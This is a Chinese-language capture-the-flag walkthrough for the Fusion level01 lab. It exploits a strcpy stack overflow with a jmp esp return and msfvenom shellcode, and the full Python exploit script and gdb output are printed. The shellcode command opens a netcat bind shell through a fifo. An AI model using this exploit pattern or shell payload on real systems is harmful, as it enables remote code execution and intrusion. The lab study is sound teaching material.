黑客入門之fusion level01

http://exploit-exercises.com/fusion/level01

About
level00 with stack/heap/mmap aslr, without info leak :)

Vulnerability Type Stack
Position Independent Executable No
Read only relocations No
Non-Executable stack No
Non-Executable heap No
Address Space Layout Randomisation Yes
Source Fortification No

Source code

1#include "../common/common.c"
2
3int fix_path(char *path)
4{
5 char resolved[128];
6
7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
8 strcpy(path, resolved);
9}
10
11char *parse_http_request()
12{
13 char buffer[1024];
14 char *path;
15 char *q;
16
17 // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
18
19 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22 path = &buffer[4];
23 q = strchr(path, ' ');
24 if(! q) errx(0, "No protocol version specified");
25 *q++ = 0;
26 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28 fix_path(path);
29
30 printf("trying to access %s\n", path);
31
32 return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37 int fd;
38 char *p;
39
40 background_process(NAME, UID, GID);
41 fd = serve_forever(PORT);
42 set_io(fd);
43
44 parse_http_request();
45}

這個程序中的fix_path函數，使用自己聲明的一個char resolved[128];來存儲用戶提交的絕對路徑，由於strcpy沒有對長度進行檢查，所以返回的時候存在overflow。如果傳遞給realpath函數的第二個參數爲NULL，那麼realpath內部就會使用malloc來分配一個PATH_MAX長度的緩衝區，fix_path的漏洞就不存在了。

首先可以查看一下MAX_PATH的大小

fusion@fusion:/opt/metasploit-framework$ cat /usr/include/linux/limits.h 
#ifndef _LINUX_LIMITS_H
#define _LINUX_LIMITS_H

#define NR_OPEN	        1024

#define NGROUPS_MAX    65536	/* supplemental group IDs are available */
#define ARG_MAX       131072	/* # bytes of args + environ for exec() */
#define LINK_MAX         127	/* # links a file may have */
#define MAX_CANON        255	/* size of the canonical input queue */
#define MAX_INPUT        255	/* size of the type-ahead buffer */
#define NAME_MAX         255	/* # chars in a file name */
#define PATH_MAX        4096	/* # chars in a path name including nul */
#define PIPE_BUF        4096	/* # bytes in atomic write to a pipe */
#define XATTR_NAME_MAX   255	/* # chars in an extended attribute name */
#define XATTR_SIZE_MAX 65536	/* size of an extended attribute value (64k) */
#define XATTR_LIST_MAX 65536	/* size of extended attribute namelist (64k) */

#define RTSIG_MAX	  32

#endif

根據提示這個程序添加了ASLR的保護，所以無法確定buffer每次運行的地址，但是我們可以使用gdb算出resolved和eip的偏移量。

ASLR is enabled by default on the system, the variable randomize_va_space is set to 2. So we have to deal with full address space randomization (stack, heap, shared libraries, etc...).

我們也可以使用腳本來檢查一下這個程序的所有保護機制，不得不說這個工具真的很不錯。

$ wget -q http://trapkit.de/tools/checksec.sh

$ chmod +x checksec.sh

fusion@fusion:~$ ./checksec.sh --file /opt/fusion/bin/level01
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /opt/fusion/bin/level01

常用的保護機制都沒有打開，我們看到了No PIE

fusion@fusion:~$ sudo gdb -q attach --pid 958
attach: No such file or directory.
Attaching to process 958
Reading symbols from /opt/fusion/bin/level01...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7754424 in __kernel_vsyscall ()
(gdb) b fix_path 
Breakpoint 1 at 0x804981e: file level01/level01.c, line 7.
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.

我們打開另一個終端，運行下面命令

fusion@fusion:/opt/metasploit-framework$ python -c 'print "GET /" + "A"* 131 + "CCCC" + "DDDD" + " HTTP/1.1"'| nc localhost 20001

回到剛纔的終端，我們看到已經在函數fix_path地方停住

Breakpoint 1, fix_path (path=0xbfa5b19c "/", 'A' <repeats 131 times>, "CCCCDDDD") at level01/level01.c:7
7	level01/level01.c: No such file or directory.
	in level01/level01.c
(gdb) n
9	in level01/level01.c
(gdb) i r
eax            0x1	1
ecx            0xb75cf8d0	-1218643760
edx            0xbfa5b17c	-1079660164
ebx            0xb7747ff4	-1217101836
esp            0xbfa5b0e0	0xbfa5b0e0
ebp            0xbfa5b178	0xbfa5b178
esi            0xbfa5b231	-1079659983
edi            0x8049ed1	134520529
eip            0x8049853	0x8049853 <fix_path+62>
eflags         0x246	[ PF ZF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/64wx $esp
0xbfa5b0e0:	0xbfa5b19c	0xbfa5b0f0	0x000003f3	0x00000200
0xbfa5b0f0:	0x4141412f	0x41414141	0x41414141	0x41414141
0xbfa5b100:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b110:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b120:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b130:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b140:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b150:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b160:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b170:	0x41414141	0x43434343	0x44444444	0x08049900
0xbfa5b180:	0xbfa5b19c	0x00000020	0x00000004	0x00000000
0xbfa5b190:	0x001761e4	0xbfa5b220	0x20544547	0x4141412f
0xbfa5b1a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b1b0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b1c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfa5b1d0:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) p &resolved 
$1 = (char (*)[128]) 0xbfa5b0f0

(gdb) p $ebp - 0xbfa5b0f0
$3 = (void *) 0x88
(gdb) p /d $ebp - 0xbfa5b0f0
$4 = 136

通過上面的調試，我們可以看到ebp和resolved的offset爲136，所以保存的eip和resolved的offset爲140

由於這個程序沒有添加PIE的保護，所以.text段中指令每次運行的地址是一樣的，我們可以使用.text段中某一條指令的地址來覆蓋返回地址，我們使用jmp esp指令，我們不能和之前一樣使用ret指令，因爲我們不知道將shellcode存儲在哪裏，環境變量，緩衝區等地址都是隨機的。而我們可以利用jmp esp， fix_path函數執行完leave指令後，esp指向之前“保存的eip”的地址，目前被我們覆蓋成jmp esp指令的地址，ret指令（pop %eip）後，esp寄存器的值+4，指向的是（saved eip） + 4，而下一個執行的指令是jmp esp，那麼eip的值就變成了當前esp指向的地方，如果這個地方存儲shellcode，那麼就會執行我們構造的代碼。

fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp

可以看到地址是0x08049f4f

現在我們開始構造我們的exploit了

格式爲get + PATH + ret + shellcode + proto

使用metasploit來構造我們的shellcode

./msfvenom -p linux/x86/exec -b '\x00\x20' -f c CMD="mkfifo /tmp/tmp_fifo; cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l -p 12345 > /tmp/tmp_fifo"

由於fusion 自己帶的nc沒有-e選項，所以不能直接執行命令，爲了返回一個shell，我們可以參考幫助文檔中的方法。-b選項是指定shellcode中不要含有的字符，我們這裏不能含有\x00和\x20，否則字符串在中間就會被截斷。

下面是根據生成的shellcode，構造的python腳本

#!/usr/bin/env python
get = "GET /"
PATH = "A"*135 + "FAKE"
#0x08049f4f jmp esp

ret = "\x4f\x9f\x04\x08"
proto = " HTTP/1.1"

shellcode = "\x2b\xc9\x83\xe9\xe0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
shellcode += "\xe4\x03\x5b\xfa\x83\xee\xfc\xe2\xf4\x8e\x08\x03\x63\xb6\x65"
shellcode += "\x33\xd7\x87\x8a\xbc\x92\xcb\x70\x33\xfa\x8c\x2c\x39\x93\x8a"
shellcode += "\x8a\xb8\xa8\x0c\x58\x5b\xfa\xe4\x6e\x30\x9c\x8d\x65\x34\xda"
shellcode += "\xcb\x77\x36\x8a\xcb\x77\x36\x8a\xbb\x65\x32\x9c\x8b\x38\x7b"
shellcode += "\x99\x85\x77\x7b\xd5\x90\x6e\x2b\xd5\x90\x6e\x2b\xa5\x82\x6a"
shellcode += "\x3d\x95\xc4\x7f\x7b\xd5\x86\x6a\x35\xd5\x97\x6b\x7b\xd7\x8d"
shellcode += "\x23\x69\xc4\xc2\x32\x7b\x86\xc4\x6d\x38\xda\xc9\x6f\x7b\xd7"
shellcode += "\x94\x23\x6a\xc8\xd7\x37\x6e\xda\xda\x23\x74\x8e\x89\x73\x74"
shellcode += "\x8e\x89\x73\x04\x9c\x8d\x65\x34\xfa\xb3\x50\xd2\x1b\x29\x83"
shellcode += "\x5b\xfa"
payload = get + PATH + ret + shellcode + proto
print payload

運行下面命令生成payload

fusion@fusion:~$ python pwn01.py > payload01

ok，現在開始exploit

fusion@fusion:~$ cat payload01 | nc localhost 20001

在另一個終端上使用nc進行鏈接

fusion@fusion:/opt/metasploit-framework$ nc localhost 12345
sh: no job control in this shell
sh-4.2$ id
id
uid=20001 gid=20001 groups=20001

打完收工！

黑客入門之fusion level01

nebula level18

ubuntu 命令行打開pdf文件

Nebula level16

VirtualBox Bridged 無線網卡

linux普通用戶權限 wireshark 抓包

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結